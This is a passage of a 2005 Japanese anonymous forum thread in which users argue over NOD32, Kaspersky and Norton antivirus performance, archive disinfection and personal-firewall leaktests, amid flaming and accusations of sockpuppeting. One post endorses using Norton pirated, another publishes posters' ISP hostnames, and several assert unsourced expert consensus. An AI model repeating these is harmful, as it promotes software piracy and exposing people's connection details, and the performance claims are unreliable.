実行可能型書庫の多くが内部に専用のRUNTIMEを持ち、それによるカプセル化で圧縮と同時にウィルスコードを隠蔽する。
その多くをNOD32の検査エンジンはどのアンチウィルスソフトより巧みに精査し高速で正確にウィルスを発見する。
アプローチ手法が全く異なる両者のどちらもが最高性能ともなれば興味が沸くのは自然で、その興味から比較と論争が絶えない。

278 :名無しさん@お腹いっぱい。:2005/12/16(金) 22:46:12
>>277
いいこと教えてやろうな
お前のようなもんを『文盲』ていうんだよ

279 :名無しさん@お腹いっぱい。:2005/12/16(金) 22:57:56
マジレスすると、書庫内のウイルスファイルだけ駆除も、メール単体のウイルス駆除も当たり前にできる。
あたりまえだろ。

丸ごと消えてるやつは、
自分でおかしな設定(メールボックスファイルごと削除、確認せず書庫ごと削除)にしてるだけ。

Blackspearの設定をよくよんで、自分に適したオプションを選ぶべし。
(注意書きにもあるが、この例のままだと駆除できない未知ウイルスは削除して検疫送り)

http://www.wilderssecurity.com/showthread.php?t=37509

280 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:29:54
>>279
>書庫内のウイルスファイルだけ駆除も、メール単体のウイルス駆除も当たり前にできる。
>あたりまえだろ。

キヤノンのサポートでは、そんなことは出来ないと書いてるよ。
http://canon-sol.jp/supp/nd/wndt7003.html
ここにもそんなことが可能だという説明は見当たらない。
http://www.wilderssecurity.com/showthread.php?t=37509

281 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:30:26
>>250
> そりゃNAV"2003"は、常駐監視のデフォ値がアーカイブも対象なのだから当たり前。
それも殆ど言い訳だな。
デフォルト値を変えてアーカイブを対象から除外しても重いし、対象となるアーカイブが存在しなくても重い。
元々激重なのに比べてアーカイブがデフォルトで対象となっていて、尚且つアーカイブが大量に存在するフォルダを開くと
激重が超激重になるってだけだ。

282 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:32:23
>>277
馬鹿だねぇ、常に比較され続けていることと、どちらが高性能かというのは別だろうに。
もしかしてその違いも分からないの?

283 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:33:43
NOD32の情報
バージョン:1.1325 (20051215)
日付:2005年12月15日
ウイルス定義ファイルビルド:6459

他のスキャナサポートに関する情報
アドバンスドヒューリスティックバージョン:1.023 (20051109)
アドバンスドヒューリスティックビルド:1094
インターネットフィルタ バージョン:1.002 (20040708)
インターネットフィルタ ビルド:1013
アーカイブサポートバージョン:1.038 (20051212)
アーカイブサポートビルド:1140

インストールされたコンポーネントの情報
NOD32 for Windows NT/2000/XP/2003 - ベース
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - インターネットサポート
バージョン:2.50.42
NOD32 for Windows NT/2000/XP/2003 - 標準コンポーネント
バージョン:2.50.42

284 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:37:29
>>280
単に279が読み違えいるだけだろ?
NOD32のオンデマンドスキャナに書庫内のウィルスだけを駆除する機能は備わっていない。
運用としては、該当書庫を開いたときにAMONによりウィルスだけを駆除する使い方となる。
これは書庫を開くことによって解凍済みファイルがテンポラリフォルダに展開されることによる用法だ。
展開されたファイル群からウィルスだけがAMONによって駆除され、それをそのまま圧縮保存することで、
書庫内に潜むウィルスのみを駆除する機能として利用されているだけ。

285 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:38:56
> 馬鹿だねぇ、常に比較され続けていることと、どちらが高性能かというのは別だろうに。
そこは論点ではないが敢えて聞く。
どっちが高性能なの?

286 :名無しさん@お腹いっぱい。:2005/12/16(金) 23:55:48
(´・ω・)カワイソスAは仲間を呼んだ!
(´・ω・)カワイソスBが現れた!
(´・ω・)カワイソスCが現れた!

(´・ω・)(´・ω・)(´・ω・)テラカワイソス

(´・ω・)カワイソス達が・・・?
..
..       (´・ω・)
       彡
                      (´・ω・)ミ
             (´・ω・)
.             (´・ω・)
           (´・ω・) (´・ω・)
           (´・ω・)(´・ω・)

合体してキングカワイソスになった!
          .,Å、
        .r-‐i'''''''''''i''''‐-、
       o| o! .o  i o !o
      .|\__|`‐´`‐/|__/|
       |_, ─''''''''''''─ ,、 / _
     /              \
    /    /            i
    |      ● (__人_) ●   | キングカワイソス・・・
    !                   ノ
    丶_              ノ  

287 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:01:58
>>285
問うてやるな。
基本性能面では、既に結論は出ている。
純粋なウィルス防衛性能は、NOD32、Kaspersky、ノートンが同クラスの性能で最高性能。
ここで差はつかない。

常駐監視の軽さはNOD32がKasperskyとノートンを抑えて優秀。
スキャン速度もNOD32がKasperskyとノートンを抑えて優秀。

これに異論を唱える専門家は一人もいない。

288 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:04:14
結果的にNOD32が最強ってことだな。

289 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:07:36
>>280, >>284
書庫は

・[アクション] - [ウイルス検出時] : 駆除
解凍されて、ウイルスだけが削除される。
感染してたファイルは駆除されて残る。

・[アクション] - [ウイルス検出時] : 削除
感染してた書庫ファイルごと削除される。

・感染したファイルだけ削除(駆除ではなく)して書庫のこしたい場合
・[アクション] - [ウイルス検出時] : ダイアログを表示

とかにして、書庫解凍ソフトで自分で解凍。
感染してるファイルを単体で駆除してみて、だめならファイルごと削除。
(アーカーバーで削除すれば、残りのファイルは書庫として保存される)

の3択から自分で好きなの選べだろ。

メールは
「メーラーでメールファイル読んでて、IMONで監視させてるなら、メール一通ごとの駆除/削除ができる」だろ。

おかしいのは、「エクスプローラーとかで、メールボックス(メール全部が固められたファイル)ごと
オンデマンドで手動駆除とかすると、固められたファイル丸ごと扱ってるから、
当然丸ごと削除されたりする」 => おまえの使い方が間違っている = >>280のページの注意書きのとおり

分かってないやつ多すぎw




290 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:08:31
基本性能面だけに限ればそうなる。
しかし、価値は基本性能面だけでは決まらないからね。

より多くの書庫に対応していることを好み、Kasperskyを使っている人は多い。
単にアンチウィルス防衛だけでなく、総合セキュリティとして信頼の大きなシマンテック社の製品を選ぶ人はメジャーだ。

291 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:10:31
>>289
貴方は「駆除」の意味を理解できていない。
駆除とは、感染したウィルスを取り除くことであり、書庫内に含まれているだけのウィルスは駆除対象にはならない。

292 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:10:54
FirewallソフトとしてはNISはKerio, Outpost, Sygate, Jeticoはもちろん、ZoneAlarmにも及ばない糞FierwallソフトってことでFirewallスレでは結論で照るんだが。
(leaktestで漏れまくり)

ノートン単体の評価はともかく、単体Firewallに遥かに劣るザル火壁使って、信頼も、総合セキュリティもないよ。

293 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:12:00
>>289
お前が妙な粘着を繰り返しているだけw


294 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:12:21
>>291
だからAMONでファイル単体で駆除されるって話だろ?w
そんな、みんなわかってること偉そうにいって楽しいのかね。

295 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:13:17
>>292
それはPFWの世界、つまり貧乏人の世界の話。
FWといえば通常は専用のFWマシンを使う。

296 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:14:25
PFWの話してるんだろ。
だれもCHekpointのFirewall-1とかの話してないよ。
バカばっかだな・・・

297 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:15:09
>>293
粘着乙w

298 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:15:41
NODは設定画面をもっと簡略化すれば大衆受けすると思うだけどなぁ。

299 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:16:05
>>295
PFWとしても、専用FWとしても、NIS付属のFirewallは糞。
他の単体ソフトに遠く及ばない。

それが結論だよ。

300 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:17:00
>>290
自演乙w

>純粋なウィルス防衛性能は、NOD32、Kaspersky、ノートンが同クラスの性能で最高性能。
>「ここで差はつかない。」

>>3の結果を読むと差があるじゃん。
http://www.av-comparatives.org/seiten/ergebnisse/report07.pdf の結果も同一ではないよ。
ローカルなものへの対応速度も考慮する必要があるしね。

301 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:17:58
>>294
AMONの動作は正確に言うと駆除ではなく削除。
駆除は感染済みexe(exeコード実行によりウィルスコードが発動するもの)のウィルスコードのみを削除する機能を指す。
単にウィルスを含めて圧縮した書庫だと、解凍しても感染はせず、ウィルスと正常なファイル(exe含む)に展開されるだけ。
その展開されたウィルスを削除する。
これは駆除とは呼ばない。

302 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:19:00
まぁ書庫対応数やウイルスの対応速度やらも人によっては重要な価値基準だしね。
あえて値段を挙げる人も中にはいるだろうし。

303 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:20:16
>>300
まぁny厨なんざ犯罪者なんだか奴らに取ってはAntiny対応率がすべてなんだろうな。

304 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:20:36
> PFWとしても、専用FWとしても、NIS付属のFirewallは糞。
これもおかしい。
シマンテック社は総合セキュリティ会社。
NIS付属のFirewalだけを糞扱いするのは滑稽だ。

305 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:21:01
>>295
おいおい、適当なこというな。
「専用FWをおいていればO!クライアントにPFW入れてるヤツは貧乏人!」とか思ってるヤツこそ貧乏人。

アプリ起動や、TooLeakyやFireHoleみたいなブラウザ系Leakは専用Firewallじゃ検知できないし、防げない。
これはPFWが担当する領域だ。
両方使って補完させろって話だ。

306 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:21:51
>FirewallソフトとしてはNISはKerio, Outpost, Sygate, Jeticoはもちろん、
>ZoneAlarmにも及ばない糞FierwallソフトってことでFirewallスレでは結論で照るんだが。
>(leaktestで漏れまくり)

どうせleaktestをクリアする為には、アプリが外部と通信する度に手動で許可する使い方をする必要があるから、
実用的な使い方をする分には、そんなに差を感じない。
Sygateなどは相性問題が浮上することがあるし、
Outpost, ZoneAlarmのフリー版は、設定可能なFWルールが少ない。

307 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:21:52
>>304
あなたの言ってることはめちゃくちゃです。
Symantecスレにお帰りください。

308 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:22:11
>>300
NOD32はインストーラ型のウィルスをオンデマンドでは検知しないのでその分成績が悪くなっているだけ。

309 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:23:18
>>304
シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

シマンテック社は総合セキュリティ会社。

310 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:23:57
>>308
それだけが原因で差が出ていると解説している専門家のソースは?

311 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:24:50
仮にシマンテックのエンタープライズ用ファイヤーウォールが立派な製品だとして、
Norton Internet Security付属のPFWができそこないのゴミなことと、何の関係が?
シマンテック信者は頭おかしいよ。

312 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:25:30
>>311

>>306

313 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:26:17
>>310
av-comparativesの責任者であるIBK自身が述べていることだし、使用している検体もまだ完全にクリーンでは
ないとも発言している。

314 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:27:04
>しかしIEのルールが半ば強制的に作られてしまうNPFでは
>どうやってもFireHoleやTooLeakyを防ぐことは不可能である。
>全ブロックも指定できないので常時接続環境ではかなりアウトバウンドについて無防備なPFだと言える。

NIS”だけ”は、>>306みたいな運用での回避ができないから、糞なんだろ。

315 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:27:14
>>313
具体的なソースのリンクを貼れよ。

316 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:27:51
>>315
自分で探せよw

317 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:28:26
おまいらなんつーか




必死だな……

318 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:29:02
>しかしIEのルールが半ば強制的に作られてしまうNPFでは

後から変更可能。

319 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:29:07
>Outpost, ZoneAlarmのフリー版は、設定可能なFWルールが少ない。

OutpostやZoneAlaramは製品版はあるわけですが、どうして「NISの製品版」と比較してるの?

Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。
これが真実。

320 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:29:45
とりあえずNISはスレ違い。
ノートン信者はキエロ

321 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:30:30
Symantec厨の粘着キモー

322 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:30:45
>Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。
>これが真実。

根拠なし(w


323 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:30:47
>>315
過去ログに載ってる、確かPart24か25の真ん中あたり。

324 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:31:36
>>323
ここに貼れと言っている。

325 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:31:58
わがまま嫌い。

326 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:32:38
>>322
おまえがなw
NODスレでノートン、ノートン、バカみたく叫んでないで、Firewall総合スレにいって

「NISこそ最強のPFWだ!OutpostもZAもKerioもノートン以下!」

って書いてこい。すぐわかるよ。

327 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:33:36
>>304
>シマンテック社は総合セキュリティ会社

(笑)

328 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:33:36
>どうやってもFireHoleやTooLeakyを防ぐことは不可能である。

Kerio, Outpost, Sygate, Jeticoだって回避する為には、
アプリが外部と通信する度にいちいち手動で許可する設定で使う必要があるだろ。
どうせ普段はそんな使い方はしない。

329 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:34:30
>>326
>Firewall総合スレにいって

Firewall総合スレにもお前が居るだろw

330 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:34:47
>>328
NISが優れてるという話にはぜんぜんつならない罠。
糞なものをいくら詭弁でごまかそうとしても無駄。

331 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:35:57
>Outpostのフリー版(v1)と比較しても、NISはだめぽ、製品版(v2)と比較したらさらにだめぽ。

Outpostのフリー版単体じゃ、プライバシー保護とか個人情報保護とか出来ないだろ。

332 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:36:38
>>330
アンチウィルスソフトに付属しているPFWとしては優秀に位置する。
それが価値、単体品と比べて糞と騒いでいる奴はバカ。

333 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:37:20

つーか、もともとセキュリティ統合型のソフトだし。

334 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:38:13
>>332
ワードパッドはOSに付属しているワープとしては優秀に位置する。
それが、糞と騒いでいる奴はバカ。

おまえは一生NISのFireweallとワードパッド使ってろよw

335 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:38:43
Norton信者のレベルの低さがしれるな・・・

336 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:39:06
スレ違いのシマンテックキチガイウザー

337 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:39:25
>>335
マッチ&ポンプwww
自演乙www

338 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:39:33
アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

アンチウィルスソフトに付属しているPFWとしては優秀に位置する。

電波でまくりだな。

339 :332:2005/12/17(土) 00:40:09
>>334
俺はNOD32とOutpostを使っている。
どれを使っているのかはまた別の話。

340 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:41:00
というかノートンで競合他社よりすぐれているパーソナル向け製品無いだろ。

AntiVirusもAntiSpywareもFirewallもどれも2流。

2流のソフトを統合して、3流パッケージになったのがNISw

341 :332:2005/12/17(土) 00:41:56
>>340
スレ違い。
ノートンスレで騒いでくれよ。

342 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:42:02
じゃぁ、俺はNOD32とNISのFirewall使ってる。

のーとんさいこー、まじfirewallすげぇー


343 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:42:29
>>341
ノートン、ノートンひとりで騒いでるのはおまえだろw
バカがw

344 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

345 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:43:04
NG Nameに332 追加♪

346 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:43:08
と荒らしが喚いてますw

347 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:43:49
Nortonが一流(笑)

348 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:44:03
>>343
また自演扱いかよwwwwwwwwwwwwwwwww
何とかの一つ覚えだな!プ

349 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:44:53
>>348
ヒント

節穴さん。

350 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:45:28
344 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。

344 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/17(土) 00:43:02
>>340
アンチウイルスは文句なく一流だと思われ。
個人向け統合型ソフトの中でも一流かと。


351 :332:2005/12/17(土) 00:45:40
>>344
世間一般評価はそうだよな。
私はNOD32使いだが、ノートンは一級品だと思っているよ。
ただ、私の感性に合わないから使っていないだけ。

352 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:45:46
>>349
やりたきゃ一人でやれ

353 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:46:18
なんでNorton信者が紛れ込んでるの?

354 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:46:46
(ここまでのまとめ)

・荒らしてるのはノートン信者。
・ノートンはとにかく最高。
・NISは優秀なFirewallと盲信してる粘着がいる

355 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:47:30
>>351
自演キター

356 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:47:59
紛れ込んでいるのは、ノートン叩き厨を演じている荒らし。
こいつの投稿は分かり易いのが特徴。
そろそろ放置すべきかと。

357 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:48:14
いままでセキュリティ板を荒らしていた真犯人はノートン厨だったのか!!
許せねええええええええええええ!!!!!!!!!!!!!!!!!!!!!!!

358 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:49:00
>>357

359 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:49:21
ノートン、検出率だけならまだ優れてるといえるかもしれんが、
動作が致命的に遅いし、インストール・アンインストールの駄目さがなぁ。

そういうデメリットに目をつぶって手放しで一流とかいうのは信者みたいでおかしいね。


360 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:49:55
こりゃ、また朝まで自演が続くな・・。

361 :メッ:2005/12/17(土) 00:50:52
338からだけでも掘って見れば同じ人物。
>>355,354,353,350,349,348,347,345,343,342,338

362 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:51:03
Norton厨、自演し杉

363 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:52:36
1.1326 (20051216)

364 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:53:02
ノートン信者に言わせれば、
信者もアンチも全部自演なんだろ。ワロス、ワロス

365 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:53:43
機能の概略 (Norton AntiVirus 2006)
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20050927133618958?OpenDocument&src=jp_hot&prod=Norton%20AntiVirus&ver=2006&tpre=jp

必要なシステム (Norton AntiVirus 2006)
ttp://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/jp_docid/20050927133319958?OpenDocument&src=jp_hot&prod=Norton%20AntiVirus&ver=2006&tpre=jp

ノートン・アンチウイルス 2006 マニュアル
ftp://ftp.symantec.com/public/japanese/products/norton_antivirus/2006/manuals/NAV2006.pdf

366 :メッ:2005/12/17(土) 00:54:09
更に自演は続く。

>>364,362,357

367 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:54:14
ノートンスレに復讐しましょう
ノートンを叩きましょう
NODユーザーが力を合わせる時がやってきたようですね

368 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:54:55
本スレ
【’06発売】ノートン インターネットセキュリティVer.74【斬捨御免】
http://pc8.2ch.net/test/read.cgi/sec/1129382025/

369 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:55:00
>>365
いちいち貼らなくていいよ
見ないから

370 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:55:36
>>367
ノートン信者だか、アンチだか、ただの荒らしだか知らんが、釣り下手だな、おまえ。

371 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:56:15
いずれにしてもノートンはスレ違い。
ここでほめてるヤツはみな荒らし。

372 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:57:02
>>367に煽動される馬鹿がどれぐらいいるか見物だな。
まぁ自分でやってNODユーザのせいにするのが関の山だろう。

373 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:57:48
つかどれだけ1人の信者が鬱陶しいか理解できるな
NOD狂信者が他スレで暴れまくってるのと同じ状況だ

374 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:58:05
だからノートン信者の自作自演ウザイといわれてるんだろ?

375 :名無しさん@お腹いっぱい。:2005/12/17(土) 00:59:47
>>372
いずれにしろ嵐の真犯人はNOD使いではない。

376 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:00:06
Norton。
みんな重い重いというからどれほどかと思って
体験版をインストールしてみた。
オートプロテクトをオンにしているが、はっきり言って重くない。
カペルスキーよりはずっと軽い。
2006はずいぶん改良されたんじゃないか。
NODと比べても差が分からないぞ。もしかしたら軽いかも。
スキャンの速さは分からないけどね。

377 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:00:41
完全にクリーンな検体(ウィルスであることが確認されている検体)のみを使用して性能比較しているのは、
Virus Bulletin誌だけ、av-comparativesもかなりクリーンな検体になって来ているがまだまだ不完全とIBKは述べている。

378 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:00:52
どう考えてもNORTONが最強だと思うんだけど(苦笑)

379 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:02:07
ノートンアンチウイルス2006 Ver.1
http://pc8.2ch.net/test/read.cgi/sec/1129452372/

380 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:02:21
>>376,378
スレ違い。

381 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:04:59
セキュリティ板を荒しまわっている脳d厨が許せないよ

382 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:05:05
1.1326

383 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:08:40
2005は重かったけど、2006は普通に軽いよ。nodもつかったけど、体感で感じるほどの
重さは感じなかったな。

384 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:10:12
ノートンは割れで使うものだ NOD32は買うものだ

385 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:11:31
流れ早すぎ、これでも見てもちつけ
http://sylphys.ddo.jp/upld2nd/neta/src/1134657460998.jpg

386 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:12:36
>>385
クソつまんねー

387 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:13:16
  ウィーッス  ∧_∧∩  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
       (´∀`*// < う〜い!デュアルコアすげえ安かったぞ〜!
    ⊂二     /    \_____________
     |  )  /
CeleronD/    ̄)
      ( <⌒<.<
      >/


388 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:17:05
つ1.1326 (20051216)

389 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:17:14
>>377
検体をクリーンにするのは非常に難しい。
単に、XXアンチウィルスソフトで検知したからウィルスだとはいえないところが何よりも難しい。
IBKはEset社のHappy Bytes(ハンドルネーム)の家に入り浸り。

390 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:22:31
>>383
ここへ投稿して続きをやれ、下記だと2006が軽いとの報告は皆無のようだよ。
まぁガンバレやなw

> 【ノートン】インターネットセキュリティ Ver.79【2006】
> ttp://pc8.2ch.net/test/read.cgi/sec/1133673099/


391 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:27:42
>>390>>383

www


392 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:28:17
アンチウィルス関係について様々な議論を専門家を交えておこなっている。
> ttp://www.wilderssecurity.com/forumdisplay.php?f=32

393 :390:2005/12/17(土) 01:30:09
>>391
383を投稿した覚えは全くない。

私の投稿は>>389,390

394 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:32:38
自己弁護おちゅ

395 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:36:48
掘った結果
>>383  PPPbf839.osaka-ip.dti.ne.jp
>>390  PPPbf839.osaka-ip.dti.ne.jp

396 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:46:12
まあNODを使ってれば絶対に間違はないってことだな。

397 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:50:09
>>396
煽るつもりはないけど、OZmallというサイトでウイルス感染したことがあるよ。
製品版ではなく体験版だったけど。

398 :メッ:2005/12/17(土) 01:50:28
既存
>>361
>>366

自演は更に更に続く。

新規分
>>367,371,373,374,376,378,381,383,386,387,391,394,395,396


399 :名無しさん@お腹いっぱい。:2005/12/17(土) 01:55:09
>>397
体験版と製品版は同じだよ。違うのはIDの期限の長さだけ

400 :名無しさん@お腹いっぱい。:2005/12/17(土) 02:00:07
KasperskyとNOD32の性質の違いがよく表現されている。
この#1を見てKasperskyは高性能でNOD32より優れていると思う人が結構多い。
NOD32も検知することは秘密にしておく?

> ttp://www.wilderssecurity.com/showthread.php?t=111178


401 :名無しさん@お腹いっぱい。:2005/12/17(土) 02:05:00
というかさぁ、>>396のような奇印な発言をするのは荒らしの星猫か、NOD32に住み着いているアンチの自演ぐらいだろ?

402 :名無しさん@お腹いっぱい。:2005/12/17(土) 02:34:02
>>400
Spywareの検出だしな。

403 :名無しさん@お腹いっぱい。:2005/12/17(土) 02:50:14
>>402
Spywareに限らず、インストーラ型は全て>>400のパターンになる。
オンデマンド検査しかしない比較だとNOD32の成績は不利になるよ。

404 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:14:35
AMON使わないで手動検査で評価するのって、実体に合ってないよね。

「メーラーの監視を自分ではずして、メールのウイルス検知できねぇ!」みたいな。

405 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:32:09
オンアクセステストはオンデマンドテストと違い非常に手間がかかるからVirus Bulletinのような
ところでないと実施できない事情もあるし、検体をクリーンにすること自体が大変だから集めた検体を使って
適当に比較する程度のことしかおこなっていないサイトが圧倒的だ。
シグネチャ配布の精度が非常に正確ならそれでも問題はないが、現実はウィルスでもないものを
多くのユーザーの要望に応じるかたちでシグネチャを作成し配布している事実もあったりしてクリーン化されていない
検体群でのテストはその結果がかなりいい加減なものになっていたりする。
virus.gr等はその典型とも言われており専門家達の間では信用度が全くなかったりする。

それと、NOD32が一般のアンチウィルスソフトの仕様と違いユニークなことによる弊害として、比較試験での設定ミスによる
誤った試験結果を堂々と開示しているサイトもある。
それらの多くがNOD32の性能を過小評価する結果に繋がっているのも面白い傾向だ。

まぁ、多くの書庫に対応し、より多くのシグネチャを配布するほうがそのてのサイトでの評価が高くなるのは必然かもな。
間違っているシグネチャを大量配布すればするほど、その間違ったシグネチャによって偽検体と真検体の区別さえ付かない
一般サイトの評価が良くなるのだから皮肉としか言いようがない。

406 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:34:20
地震長ーーい

407 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:37:13
地震じゃなく、専門家の発言をそのまま紹介しただけ。
真実は奇なりだな。
ゴミは幾らでも落ちているから、それらをウィルスと称してシグネチャを作成し配布しても誰も困らないという背景があったりする。

408 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:40:15
今の揺れのことだが・・・

409 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:40:59
専門家達によるvirus.grの評価な。
> ttp://www.wilderssecurity.com/showthread.php?t=77033&highlight=virus.gr


410 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:41:37
さて寝るか

411 :名無しさん@お腹いっぱい。:2005/12/17(土) 03:42:15
で、キングソフトと比較してどっちが糞なの?
やっぱNODの方が下痢糞ってことでおk?

412 :名無しさん@お腹いっぱい。:2005/12/17(土) 04:00:13
簡単に割られてしまうようなセキュリティの甘いソフトに
自分のパソのセキュリティを任せられるか?
小学生でもわかることだな。

413 :名無しさん@お腹いっぱい。:2005/12/17(土) 04:07:39
>>411
キングソフトの性能が全く未知数。
信用度の高いサイトでは扱っていないのが致命的だな。

>>412
> 簡単に割られてしまうようなセキュリティの甘いソフトに
> 自分のパソのセキュリティを任せられるか?

簡単に割れないセキュリティソフトってあるのか?

414 :名無しさん@お腹いっぱい。:2005/12/17(土) 04:40:01
>>412
毎日泥棒に入られてる警備会社に警備を依頼するようなものだなw

415 :名無しさん@お腹いっぱい。:2005/12/17(土) 05:14:44
NODは常にノートンをライバル視して粘着しているのに
